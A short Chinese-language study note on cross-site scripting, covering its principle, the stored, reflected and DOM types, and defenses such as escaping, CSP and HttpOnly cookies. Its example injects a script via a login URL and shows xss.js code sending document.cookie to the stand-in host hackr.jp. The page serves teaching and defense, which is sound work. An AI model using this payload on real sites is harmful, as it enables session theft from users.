跳到主要内容

XSS 跨站脚本攻击

XSS 的攻击原理是什么?​

  • 类型: 被动攻击;
  • 原理: 攻击者预先设置陷阱代码, 诱导用户访问, 使其浏览器执行非法 HTML 或 JS;
  • 目的: 盗取用户信息, 例如把 document.cookie 外发;
# 构造 URL, 在参数中注入脚本
http://example.jp/login?ID="><script src=http://hackr.jp/xss.js></script>"

# xss.js: 把 cookie 发送到攻击者服务器
var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);
document.write(">");

XSS 有哪几种类型?​

  • 存储型: 攻击代码被提交并保存在服务器, 其他用户访问该页面时由服务端拼进 HTML 执行;
  • 反射型: 攻击者构造带代码的 URL, 服务端从 URL 中取出代码拼进 HTML 返回;
  • DOM 型: 攻击代码不经过服务端, 由浏览器解析 URL 后在前端直接执行;

如何防御 XSS?​

  • 对用户输入与输出做转义和验证;
  • 使用 CSP 限制可信内容来源;
  • 给 cookie 加 HttpOnly, 禁止脚本读取;
  • 具体响应首部见 浏览器与服务器安全措施;